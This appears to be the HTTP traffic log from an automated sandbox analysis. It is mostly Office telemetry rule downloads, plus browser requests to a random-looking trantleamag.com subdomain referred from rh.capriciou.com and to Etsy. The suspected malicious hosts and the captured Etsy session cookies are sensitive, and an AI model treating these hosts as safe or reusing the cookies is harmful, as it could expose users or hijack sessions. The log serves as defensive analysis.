Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1888641786:1730999922:sZMMjrljib3Ah-ZPRoL_Nqj62RI1QKUnYVwOIOxtiuY/8def6751cf07e7a6/jCrTDp5mH7IPQ.XokFVcaJ.lGZZNyttWPsGCaoPzCbc-1731004321-1.1.1.1-eC1A3ZZHnP397vfP33FmcEcmnsz8wNnC8jnQC8T8ln6lDiN3l1rddG_FCxdeVbFm HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /185777289918892963sHMCfkhtkMETWGBHWLASXSGJCNRCTBHTPPTDUUCNP HTTP/1.1Host: vzfk6vqaoyt1ogzrbn8cfpyijhdyeg3w9aipyubaquurdytz2nlu4zqaku.trantleamag.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://rh.capriciou.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://rh.capriciou.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /185777289918892963sHMCfkhtkMETWGBHWLASXSGJCNRCTBHTPPTDUUCNP HTTP/1.1Host: vzfk6vqaoyt1ogzrbn8cfpyijhdyeg3w9aipyubaquurdytz2nlu4zqaku.trantleamag.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://rh.capriciou.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dac/site-chrome/components/components.defebf5b6f4bba,contentful-sitewide-hum.af079ccbcc7694,site-chrome/header/header.507e1bce5b547a,__modules__CategoryNav__src__/Views/ButtonMenu/Menu.8d961c48ba074a,__modules__CategoryNav__src__/Views/DropdownMenu/Menu.11b4ee69983dd8,site-chrome/footer/footer.11b4ee69983dd8,gdpr/settings-overlay.11b4ee69983dd8.css?variant=sasquatch HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"rtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dac/vesta_homepage/vesta_homepage.11b4ee69983dd8,vesta_homepage/consistent_spacing.11b4ee69983dd8,homepage/_modules/spacing.11b4ee69983dd8,__modules__ShoppableHero__src__/View/css/shoppable-hero.9e1c60b94d1711,neu/modules/listing_card.11b4ee69983dd8,neu/modules/favorite_button_defaults.11b4ee69983dd8,common/listing_card_text_badge.b1c6bd381ce780,vesta_homepage/view/etsy-everyday.11b4ee69983dd8,vesta_homepage/view/daily-deals.11b4ee69983dd8,homepage/_modules/complex-grid.11b4ee69983dd8,neu/common/masonry_grid/masonry-grid.11b4ee69983dd8,homepage/_modules/editors-picks.11b4ee69983dd8,listings/listing-card-video.11b4ee69983dd8,home_living/shop-the-look.11b4ee69983dd8,homepage/_modules/common/simple-header.11b4ee69983dd8,vesta_homepage/view/what-is-etsy.11b4ee69983dd8,impact/homepage/what-is-etsy/community-impact.11b4ee69983dd8,pages/join_neu/social/google_one_tap_modal.2ec02d4eb6d23b.css?variant=sasquatch HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"rtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
